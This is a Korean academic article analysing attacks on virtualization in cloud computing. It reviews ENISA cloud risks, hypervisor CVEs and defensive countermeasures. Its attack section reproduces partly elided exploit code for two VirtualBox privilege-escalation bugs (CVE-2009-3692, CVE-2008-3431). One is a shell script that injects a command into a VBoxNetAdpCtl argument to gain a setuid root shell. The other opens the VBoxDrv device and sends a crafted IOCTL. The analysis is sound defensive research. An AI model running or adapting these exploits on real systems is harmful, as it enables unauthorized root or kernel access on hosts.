클라우드 컴퓨팅 가상화 환경의 공격기법 분석

서울여자대학교 ▌최주영* · 김형종** · 박춘식** · 김명주**

1. 서 론

가상화 기술은 오늘날 컴퓨팅 시스템에 광범위하게 이용되고 있으며 클라우드 컴퓨팅 환경의 핵심 기술이라 볼 수 있다. 가상화 기술은 컴퓨터 리소스의 물리적인 특징을 추상화하며, 사용자에게 논리적 리소스를 제공 및 이를 통한 다양한 기술적/관리적 이점을 제공하는 기술이다. 또한 가상화 계층을 통한 게스트 간 분리(isolation)을 지원함으로 게스트 OS마다 개별적인 OS 및 어플리케이션을 구동할 수 있는 환경을 제공한다. 그러나 이러한 기술은 신뢰할 수 있는 하이퍼바이저 상에서 구동되고 있다는 전제하에서 안전하다 할 수 있다.

현재 가상화 기술은 Citrix의 Xen과 VMware의 VMware 제품군, Sun의 Virtual Box 등이 있다. 그러나 NVD(National Vulnerability Database)[1]에서 가상화 기술 제품에 관한 보안 취약점들이 발표되고 보안 취약점을 악의적인 목적으로 사용하여 하이퍼바이저(또는 VMM) 내에서 가상화 환경을 위협하고 있다. 이러한 위협은 가상화 환경의 침해로 자원 풀을 관리하는 호스트 뿐만 아니라 모든 게스트에 영향을 미치게 되고 이는 클라우드 컴퓨팅 자원에 대한 비밀성, 무결성, 가용성을 보장할 수 없다. 본 고는 클라우드 컴퓨팅 환경의 신뢰성 확보를 위한 기술 연구의 한 부분으로 가상화 환경의 공격기법을 분석하고 그에 대한 대응책을 제시한다.

2. 클라우드 컴퓨팅 환경에서의 가상화 기술에 대한 위협

하이퍼바이저(호스트 기반의 가상엔진)는 물리적 자원을 추상화하고 게스트 OS인 VM에게 가상화 자원을 배치, 모니터링 등 가상화 환경을 운영한다. 이러한 물리적 자원의 공유 기술은 클라우드 컴퓨팅 환경의 특징 중 하나인 '탄력적인 자원 사용' 측면에서 클라우드 컴퓨팅 환경의 주요 기술이 되고 있다.

클라우드 컴퓨팅 환경을 도입에 있어서 보안 가이드라인을 제시하고 있는 CSA(Cloud Security Alliance)에서 발표한 클라우드 컴퓨팅 7대 위협[2] 요소 가운데 공유기술의 취약점에 대한 위협을 포함되어 있고 ENISA(European Network and Information Security Agency)[3]에서 클라우드 컴퓨팅 취약점에 영향을 받는 자산 및 위험도를 정리한 문서에서 하이퍼바이저 취약점은 다음과 같은 위험에 노출된다.

2.1 클라우드 컴퓨팅 서비스 사용자의 활동으로 인한 비즈니스 평판의 손실(R.4)

R.4 위험은 "정책 및 조직적인 위험" 분야에서 하이퍼바이저 취약점 항목이 포함된 위험요소이다. 이 위험은 공동의 자원을 탄력적으로 나누어 사용하는 모델을 지향하는 클라우드 컴퓨팅 서비스 안에서 클라우드 컴퓨팅 서비스 사용자가 악의적인 행동(스팸, 포트 스캐닝, 악의적인 콘텐츠 제공등)으로 클라우드 서비스 제공자뿐만 아니라 다른 클라우드 서비스 사용자의 비즈니스 평판에 부정적인 영향력을 줄 수 있는 위험이다.

Probability	LOW
Impact	HIGH
Vulnerabilities	V6. Lack of resource isolation V7. Lack of reputational isolation V5. HYPERVISOR VULNERABILITIES ✓
Affected assets	A1. Company reputation A5. Personal sensitive data A6. Personal data A7. Personal data - critical A9. Service delivery – real time services A10. Service delivery
Risk	MEDIUM

그림 1 클라우드 서비스 위험요소 – ENISA의 R.4

2.2 분리 실패(R.9)

R. 9 위험은 "기술적인 위험" 분야에서 하이퍼바이

* 정회원
** 종신회원

저 취약점 항목이 포함된 위험요소이다. 가상화 자원(컴퓨팅 용량, 스토리지, 네트워크 등)은 VM별 격리가 보장되어야 한다. 그러나 R. 9 위험은 스토리지, 메모리, 라우팅을 서로 다른 사용자와 분리하는 메커니즘에서 명확한 분리 실패로 인한 위험을 의미한다. 이러한 위험은 프라이빗 클라우드 서비스보다 퍼블릭 클라우드 서비스에서 발생할 가능성이 높다. 또한 중요한 데이터의 손실 발생과 클라우드 제공자와 고객들에 대한 평판 피해 및 서비스 중단까지 영향을 줄 수 있다.

Probability	LOW (Private Cloud) MEDIUM (Public Cloud)	Comparative: Higher
Impact	VERY HIGH	Comparative: Higher
Vulnerabilities	V5. Hypervisor vulnerabilities ✓ V6. Lack of resource isolation V7. Lack of reputational isolation V17. Possibility that internal (cloud) network probing will occur V18. Possibility that co-residence checks will be performed	
Affected assets	A1. Company reputation A2. Customer trust A5. Personal sensitive data A6. Personal data A7. Personal data - critical A9. Service delivery – real time services A10. Service delivery	
Risk	HIGH	

그림 2 클라우드 컴퓨팅 위험요소 – ENISA의 R.9

2.3 서비스 엔진의 컴프로마이즈(compromise) (R.19)

R. 19 위험은 "기술적인 위험" 분야에서 하이퍼바이저 취약점 항목이 포함된 위험요소이다. 클라우드 컴퓨팅 서비스(IaaS, PaaS, SaaS) 유형에 따라 서비스 엔진을 통해 이루어진다. 그러나 서비스 엔진 코드는 취약점을 가질 수 있고 공격이나 예기치 않은 장애 발생 가능성이 존재한다. 공격자가 서비스 엔진을 컴프로마이즈 할 수 있는 방법은 다음과 같다.

- IaaS 클라우드는 가상머신 안으로부터 공격
- PaaS 클라우드는 런타임 환경에서의 공격
- SaaS 클라우드는 어플리케이션 풀 또는 API를 통한 공격

IaaS 클라우드 환경에서 서비스 엔진은 하이퍼바이저라 할 수 있으며, 해킹된 서비스 엔진은 다른 고객과 분리된 환경을 탈출하고 그 안에 포함된 데이터 접근 권한을 획득하고 자신을 숨긴 채 정보의 변경 및 모니터링하거나 할당된 자원 정보를 축소하는 등을 제어 할 수 있다.

Probability	LOW
Impact	VERY HIGH
Vulnerabilities	V5. Hypervisor vulnerabilities ✓ V6. Lack of resource isolation
Affected assets	A5. Personal sensitive data A6. Personal data
	A7. Personal data - critical A8. HR data A9. Service delivery – real time services A10. Service delivery
Risk	MEDIUM

그림 3 클라우드 컴퓨팅 위험요소 – ENISA의 R.19

2.4 권한 상승(R.28)

R.28 위험은 자원에 접근하는 공격자나 인가된 사용자의 접근 제어를 위한 보안 정책의 적용이 어려운 경우를 말한다. 가상화 환경의 권한 상승은 비인가자 뿐만 아니라 인가된 사용자 권한을 벗어난 권한 상승을 포함한다.

가상머신에서는 인가되지 않은 자의 권한 획득 문제보다 인가된 자의 권한 상승의 문제가 더 많이 발생된다는 것을 확인할 수 있다[4].

Probability	LOW	Comparative: Lower
Impact	HIGH	Comparative: Higher (for cloud provider)
Vulnerabilities	V1. AAA vulnerabilities V2. User provisioning vulnerabilities V3. User de-provisioning vulnerabilities V5. Hypervisor vulnerabilities ✓ V34. Unclear roles and responsibilities V35. Poor enforcement of role definitions V36. Need-to-know principle not applied V38. Misconfiguration	
Affected assets	A5. Personal sensitive data A6. Personal data A7. Personal data - critical A8. HR data A11. Access control / authentication / authorization (root/admin v others) A13. User directory (data)	
Risk	MEDIUM	

그림 4 클라우드 컴퓨팅 위험요소 – ENISA의 R.28

3. 하이퍼바이저 공격 기법 및 보호 대책

3.1 하이퍼바이저 공격 기법

가상화 기술의 취약점은 가상화 환경 시스템에 영향을 미치게 된다. 본 절은 클라우드 컴퓨팅 환경의 신뢰성 보장을 위하여 가상화 기술의 취약점을 이용한 공격 기법에 대하여 살펴본다. 이를 위해 CVE (Common Vulnerability and Exposures) 기반으로 하이퍼바이저의 취약점 유형 및 그에 대한 영향(Impact) 유형을 살펴보고 해당 취약점에 관한 익스플로잇(exploit) 코드[5]를 분석하여 공격 기법을 설명하였다.

가상화 기술의 취약점 유형(CVE 기준)은 다음과 같다.

- o Permissions, Privileges, and Access Control
- o Input Validation
- o Cross-Site Scripting
- o Buffer Errors
- o Resource Management Errors
- o Numeric Errors

가상화 기술의 취약점으로 인해 발생할 수 있는 피해인 영향 유형은 다음과 같다.

- o Allows unauthorized disclosure of information
- o Allows unauthorized modification
- o Allows disruption of service
- o Provides administrator access
- o Allows complete confidentiality

본 내용은 하이퍼바이저 취약점에 대한 모든 공격 기법을 다루지 않고 특정 하이퍼바이저의 exploit 코드를 분석을 토대로 공격 기법과 그에 따른 보호 대책을 제시하고자 한다.

3.2 하이퍼바이저 공격 유형

하이퍼바이저는 호스트 운영체제에 가상엔진을 설치하여 VM 영역을 할당하여 게스트 OS 환경을 제공한다. 하이퍼바이저 기술의 취약점 가운데 익스플로잇(exploit) 코드 중심으로 취약점 정보를 정리하고 공격 기법을 분석하였다.

가. Sun VirtualBox 3.0.6 VBoxNetAdpCtl Privilege Escalation(CVE-2009-3692)

1) 취약점 정보

Original release data	2009-10-13	Last revised	2009-10-15
CVSS	7.2(HIGH) AV:L/AC:L/Au:N/C:C/I:C/A:C		
CWE	Insufficient Information		
Impact	Allows disruption of serviceUnknown		

2) 공격기법

로컬영역의 공격자가 시스템 상에서 인가되지 않은 VBoxNetAdpCtl의 에러로 인해 권한을 획득한다. popen()에서 임의의 커맨드를 이용하여 로컬 영역(VM)의 악의적인 사용자가 호스트 VirtualBox의 루트 권한을 획득한다. 본 취약점은 VBoxNetAdpCtrl 실행 경로를 결정하고 권한 변경하는 파일을 실행(/bin/sh)함으로 권한 획득이 이루어진다.

3) exploit 코드

다음 쉘 코드인 runme.c 코드(권한 변경 파일)와 exploit.c 코드(OS별 VBoxNetAdpCtl 실행 경로 선택 파일) 각 파일을 컴파일하는 과정과 exploit을 실행하는 코드를 동작하도록 코딩되어 있다.

```
#!/bin/sh
cat >> runme.c << EOF // 권한 변경 파일 (runme.c)
#include <stdio.h>
.....
int main(int argc, char* argv[]) {
FILE *from, *to;
.....
from = fopen("/bin/sh","rb");
to = fopen("./sh","wb");
.....
  fd = open("./sh",O_RDWR);
  fchown(fd,0,0);   //권한 변경
  fchmod(fd,S_IRWXU|S_IRWXG|S_IRWXO|S_ISUID|S_
  ISGID);  //권한 변경
  close(fd);
  exit(0);
}
EOF
gcc runme.c -o runme 2>/dev/null    //runme.c 컴파일
rm -rf runme.c
cat >> exploit.c << EOF    //OS(MAC, SUN, Linux)별
                                VBoxNetAdpCtl 경로 선택
#include <stdio.h>
.....
int main(int argc,char* argv[])
{
char *env[] = {NULL };
int platform, machine = 0;
struct utsname* sysdetail = malloc(sizeof(struct utsname));
.....
switch(platform){   //플랫폼에 따른 VBoxNetAdpCtl 경로
                    결정 및 runme실행코드 실행
  case 1:
  printf("[ Detected a Mac OS X target ₩n");
  execle("/Applications/VirtualBox.app/Contents/MacOS/
VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1:
:2",NULL,env);
  break;

  case 2:
  printf("[ Detected a SunOS target ₩n");
  if(!strncmp("i86pc",sysdetail->machine,strlen("i86pc"))) {
  printf("[ Detected SunOS is x86 platform ₩n");
  execle("/opt/VirtualBox/i386/VBoxNetAdpCtl","VBox
NetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
  }
  else {
    printf("[ Guessing SunOS is amd64 platform ₩n");
    execle("/opt/VirtualBox/amd64/VBoxNetAdpCtl","V
BoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
  }
  break;

  case 3:
  printf("[ Detected a Linux target ₩n");
  execle("/opt/VirtualBox/VBoxNetAdpCtl","VBoxNetAdp
Ctl","vboxnet0|./runme","1::2",NULL,env);
  break;

  default:
  printf("[ Unknown OSE target. Try ./%s <path>/
```

```
VBoxNetAdpCtl₩n",argv [0]);
  break;
}
  exit(0);
}
EOF
gcc exploit.c -o exploit 2>/dev/null   //exploit.c 컴파일
rm -rf exploit.c
if [ $1 ]                              //exploit 쉘 실행
then
        ./exploit $1
else
        ./exploit
fi
echo [ Trying for root shell.
./sh
```

나. Sun xVM VirtualBox 1.6.4 Privilege Escalation Vulnerability(CVE-2008-3431)

1) 취약점 정보

Original release data	2008-08-05	Last revised	2009-01-29
CVSS	7.2(HIGH) AV:L/AC:L/Au:N/C:C/I:C/A:C		
CWE	Permissions, Privileges, and Access Control		
Impact	Provides administrator access, Allows complete confidentiality, integrity, and availability violation Allows unauthorized disclosure information; Allows disruption of service		

2) 공격기법

xVM VirtualBox 1.6.4 이전 VBoxDrv.sys[1]에서의 VBoxDrvNtDeviceControl 함수는 IOCTLs에 대한 METHOD_NEITHER 통신 방법을 사용하고 Irp 객체와 관련된 버퍼의 유효성 검사를 적절하게 하지 않음으로 인한 취약점이다. 이는 로컬 사용자가 \\.\VBoxDrv device를 열고 커널 주소를 보내기 위한 DeviceIoControl 호출하고 이를 통해 권한을 얻는 것을 허용한다. 공격 실행 순서는 다음과 같다.

- o 1단계 : VirtualBox 패키지 설치시 VBoxDrv.sys 드라이버가 호스트에 로딩
- o 2단계 : 설치된 'VBoxDrv.sys'의 취약점인 \\.\VBoxDrv는 사용자 인증 없이 드라이버 오픈을 허용
- o 3단계 : 특별한 인증절차 없이 METHOD_NEITHER[2] 버퍼링 모드인 IOCTL를 활성화
- o 4단계 : 이를 통해 신뢰할 수 없는 사용자에게 드라이버 매개변수와 같은 커널 주소 값을 전달하여 코드 변조를 허용

xVM Virtualbox는 VBoxDrv.sys에서 발생하는 로컬 권한 상승 취약점이 있다. 공격자가 호스트 OS에서 커널 레벨의 권한으로 임의의 코드를 실행하는 문제를 악용할 수 있다.

3) exploit 코드

위에서 언급한 공격 실행 2단계에서 사용되는 코드로 \\.\VBoxDrv를 실행하여 사용자 인증 없이 드라이버를 오픈한다.

```
#include <windows.h>
#include <stdio.h>
int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD cb;
char szDevice[] = "₩₩₩₩.₩₩VBoxDrv";
if ( (hDevice = CreateFileA(szDevice,
      GENERIC_READ|GENERIC_WRITE,
      0,
      0,
      OPEN_EXISTING,
      0,
      NULL) ) != INVALID_HANDLE_VALUE ) //디바이스 오픈 성공
{
  printf("Device %s succesfully opened!₩n", szDevice);
}
else
{
printf("Error: Error opening device %s₩n",szDevice);  //디바이스 오픈 실패
}
cb = 0;
if (!DeviceIoControl(hDevice,
    0x228103,
    (LPVOID)0x80808080,0,
    (LPVOID)0x80808080,0x0,
    &cb,
    NULL))
 {
  printf("Error in DeviceIo ... bytes returned %#x₩n",cb);
 }
}
```

1) VBoxDrv.sys 파일은 윈도우즈 호스트 운영체제 시스템에 Virtual Box를 설치하게 되면, 게스트 운영체제 시스템이 가상화를 제어하기 위해 사용되는 커널 드라이브이다.

2) METHOD_NEITHER는 드라이버와 직접 연결되어 있는 버퍼의 입력(input)/출력(output)을 제어하는 'DeviceIoControl'의 포인터를 전달함으로 가상화 기술의 주요 메소드이다.

다음은 3단계에서 사용되는 IOCTL request를 핸들링하기 위한 소스 코드 'SUPDrv-win.cpp'이다.

SUPDrv-win.cpp

```
//.....
NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_
OBJECT pDevObj, PIRP pIrp)
{
  PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj
  .>DeviceExtension;
  PIO_STACK_LOCATION pStack = IoGetCurrentIrpStack
Location(pIrp);
  PSUPDRVSESSION pSession = (PSUPDRVSESSION)pStack
  .>FileObject  .>FsContext;

//두개의 high-speed IOCtl은 세션과 iCmd로부터 매개변
수를 얻고, VBox 상태 코드를 리턴 받게 된다.

ULONG ulCmd = pStack  .>Parameters.DeviceIoControl.
IoControlCode;
if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN  //IOCtl
의 빠른 패스 모드
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
                  //NOP 호출시 VMMR0를 fast ioctl 호출
{
KIRQL oldIrql;
int rc;
//다른 CPU 코어의 재구성으로부터 윈도우를 예방하기 위
해 DISPATCH_LEVEL의 IRQL을 상승시킨다.

Assert(KeGetCurrentIrql() <= DISPATCH_LEVEL);
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
rc = supdrvIOCtlFast(ulCmd, pDevExt, pSession);
//rc는 usermode 주소나 유효검사 조차 없이 usermode로
부터 buffer pointer 값을 갖는다.

KeLowerIrql(oldIrql);
// I/O request 작성
NTSTATUS rcNt = pIrp  ->IoStatus.Status = STATUS_SUCCESS;
pIrp  ->IoStatus.Information = sizeof(rc);
__try
{
*(int *)pIrp ->UserBuffer = rc;          //Irp 객체의 버퍼
에 rc값 할당
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
rcNt = pIrp  ->IoStatus.Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#xWn",
rcNt));
}
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return rcNt;
}
return VBoxDrvNtDeviceControlSlow(pDevExt, pSession,
pIrp, pStack);
}
//---------------------
```

3.3 하이퍼바이저 공격 기법에 대한 보호 대책

가상화 환경을 위협하는 공격 기법은 가상화 기술을 모니터링 및 관리를 지원하는 웹 페이지에 대한 공격이 이루어짐으로 기존의 웹서비스에 존재하였던 크로스 사이트 스크립트[3], 웹 응용프로그램의 취약점, 파일 업로드 취약점 및 SQL 인젝션 등의 취약점을 악용한 공격 유형으로 나타나고 있다.

가상화 기술의 취약점 유형 중 CIA(Confidential, Integrity, Availability) 보안 측면에서 가상화 환경 전반에 걸친 침해 영향을 받는 권한 상승에 대한 공격 기법, 가상화 환경의 원활한 서비스를 지연시키기 위하여 호스트 OS의 재부팅 시도 공격[4], 게스트와 호스트 간의 통신채널을 가로채기 등의 서비스 거부 공격 기법[5]이 존재한다. 이를 위한 가상화 환경의 관리적인 대응책은 다음과 같이 제시하고자 한다.

o 안전한 통신 채널 보장 및 접근 권한 강화

가상화 기술의 권한 변경에 대한 인증 기능의 부재 및 오류, 게스트와 호스트 간의 통신 채널 공격 기법은 강력한 접근 권한 및 신뢰할 수 있는 통신 채널을 보장을 요구한다. 이를 위해 게스트 운영체제 사용자의 역할 모델에 따른 접근 허용/불가 메커니즘 추가 및 안전한 통신 채널 관련 함수의 무결성 검사 기법을 제공되어야 한다.

o 하이퍼바이저 접근 통제 강화

가상화 환경의 예상하지 못한 설정으로 인한 종료 및 VMM 관련 관리정보에 대한 부적절한 조회 등의 공격 기법은 하이퍼바이저 접근 통제 강화가 요구된다. 하이퍼바이저 생성, 변경 등에 대한 접근 방법은 로컬 관리자 모드와 웹 사이트 모드로 제공됨으로 각 모드에 대한 접근 통제 강화가 요구된다. 따라서 안전한 패스워드 관리지침에 따라 패스워드의 설정 및 인증 절차가 제공되어야 한다.

o 가상머신 관련 레지스터 및 실행 시간 모니터링

하드웨어 가상화 기술의 악성코드는 자원 풀에 대한

3) VMware Inc version 6.0.0 CreateProcess & CreateProcessEx Remote Code Execution Exploit (CVE-2007-4155)
4) Sun's VirtualBox host reboot (CVE-2009-2715)
5) VMware Workstation hcmon.sys 6.0.0.45731 Local DoS (CVE-2008-3761|CVE-2009-1146)

제어권을 가로채는 기법[6]이다. 이는 호스트와 게스트 간의 특정 제어 정보 및 가상머신 관련 레지스터와 명령어에 대한 무결성 검사가 요구된다. 또한, 가상머신를 제어하는 명령어의 가로채기 공격 기법의 대응책으로 명령어 실행 시간을 모니터링 하여 가상화 환경의 신뢰성을 보장한다.

o 가상화 소프트웨어 취약점 제거

가상화 소프트웨어의 취약점은 악의적인 코드의 외부 입력(명령어)으로 시스템의 불안정한 종료, 가상화 소프트웨어의 오류로 인한 종료, 가상화 환경의 소프트웨어 메모리 관리 오류 등 소프트웨어의 버그로 인해 발생하는 부분이다. 이를 위해 가상화 소프트웨어를 개발한 업체에서 발표하는 취약점 정보, 보안 업체에서 발표한 취약점 및 공격정보, 공신력 있는 취약점 데이터베이스등을 활용하여 취약점의 존재를 인지하고 패치 과정을 통해 해당 취약점을 제거해야 한다.

o 가상화 기반의 보안 솔루션 활용

일반적인 안티바이러스 솔루션의 경우 네트워크, 운영체제의 바이러스에 대한 탐지 및 치료 서비스를 제공하지만, 가상화 환경에 관한 레지스터 및 명령어 연산자에 대한 점검이 포함되어 있지 않다. 이를 위해 가상머신과 가상 구성요소를 점검하는 가상화 기반의 보안 솔루션 활용이 요구된다. 또한 가상화 인프라에 대한 가상 방화벽을 사용하여 가변적인 VM의 자원 요청에 따라 네트워크 및 인프라 서비스의 재구성을 지원하는 솔루션이 필요하다.

4. 결 론

가상화 기술은 사용자에게 동일한 환경을 제공하고 인프라 환경의 의존도를 탈피와 자원 사용의 최적화를 제공한다. 이러한 기술은 클라우드 컴퓨팅 환경에서 요구하는 그린 IT 기술과 자원의 탄력적 지원을 뒷받침하고 있다.

클라우드 컴퓨팅 환경의 신뢰성 확보를 위해 클라우드 컴퓨팅 구성요소인 가상화 환경의 취약점과 이를 악용한 공격 기법을 살펴보고 이에 대한 대응책을 도출하였다.

가상화 기술은 호스트 기반 가상화에서 하드웨어에 의존적인 가상화로 진화하고 있는 시점에 공격 기법 및 대응책의 변화도 필요할 것이다. 호스트 기반 가상화 기술은 가상화 제품에 따른 각각의 취약점이 존재하는데 이에 비해 하드웨어 가상화 기술은 CPU 칩에 의존적으로 공격기법이 발생할 것으로 예상된다. 다시 말해 가상화 제품의 응용 프로그램에 종속적이지 않은 공격기법이 출현 될 것으로 예측된다. 따라서 지속적으로 클라우드 컴퓨팅 환경에서의 가상화 기술 악성코드에 대한 추가적인 사례 연구와 하드웨어 가상화 기술의 취약점을 악용하는 코드에 대한 분석 및 대응 전략 연구가 필요하다.

참고문헌

[1] National Vulnerability Database. http://nvd.nist.gov/

[2] "Top Threats to Cloud Computing V1.0", Cloud Security Alliance, March 2010

[3] "Cloud Computing Benefits, risks and recommendations for information security", ENISA, 2009, November

[4] 김지연, 김형종, 박춘식, 김명주, "클라우드 컴퓨팅 환경의 가상화 기술 취약점 분석연구", 정보보호학회지, 제19권 제4호, 2009.8

[5] http://www.exploit-db.com

[6] Joanna Rutkowska, Alexander Tereshkin. "Bluepilling the Xen Hypervisor", Black Hat Conference, August 2008

[7] 최주영, 김형종, 박춘식, 김명주, "클라우드 컴퓨팅 환경에서의 가상화 악성코드", 한국정보보호학회지, 제20권 제2호, 2010.4

[8] 박춘식, 김형종, 김명주, "클라우드컴퓨팅보안동향", 정보통신산업진흥원 주간기술동향, 통권 1432호, 2010.2

[9] 김현승, 박춘식, "클라우드컴퓨팅과 개인인증서비스", 한국정보보호학회지, 제20권 제2호, 2010.4

약 력

최 주 영

1999 서울여자대학교 컴퓨터학과 이학사
2003 서울여자대학교 컴퓨터학과 이학석사
2006~현재 서울여자대학교 컴퓨터학과 박사과정
관심분야 : 정보보안, 시스템보안, 클라우드 컴퓨팅보안
E-mail : jychoi@swu.ac.kr

김 형 종

1996 성균관대학교 정보공학과 공학사
1998 성균관대학교 정보공학과 공학석사
2001 성균관대학교 전기전자 및 컴퓨터공학과 공학박사
2001~2007 한국정보보호진흥원 수석연구원
2004~2006 미국 카네기멜론대학 CyLab Visiting Scholar
2007~현재 서울여자대학교 컴퓨터학부 조교수
관심분야 : 취약점 분석 및 모델링, 이산사건 시뮬레이션 방법론, 침입감내기술
E-mail : hkim@swu.ac.kr

박 춘 식

1995 일본동경공업대 공학박사
1982~1999 한국전자통신연구원 책임연구원
2000~2008 국가보안기술연구소 책임연구원
2009~현재 서울여자대학교 컴퓨터학부 교수
관심분야 : 개인정보보호기술, 클라우드컴퓨팅보안
E-mail : csp@swu.ac.kr

김 명 주

1986 서울대학교 컴퓨터공학과 공학사
1988 서울대학교 컴퓨터공학과 공학석사
1993 서울대학교 컴퓨터공학과 공학박사
1993~1995 서울대학교 컴퓨터 신기술 공동연구소 특별연구원
2003~2004 미국 펜실바니아대학교(UPenn) 객원연구원
1995~현재 서울여자대학교 컴퓨터학부 교수
관심분야 : 정보보안, USN, 의료정보, 콘텐츠보안
E-mail : mjkim@swu.ac.kr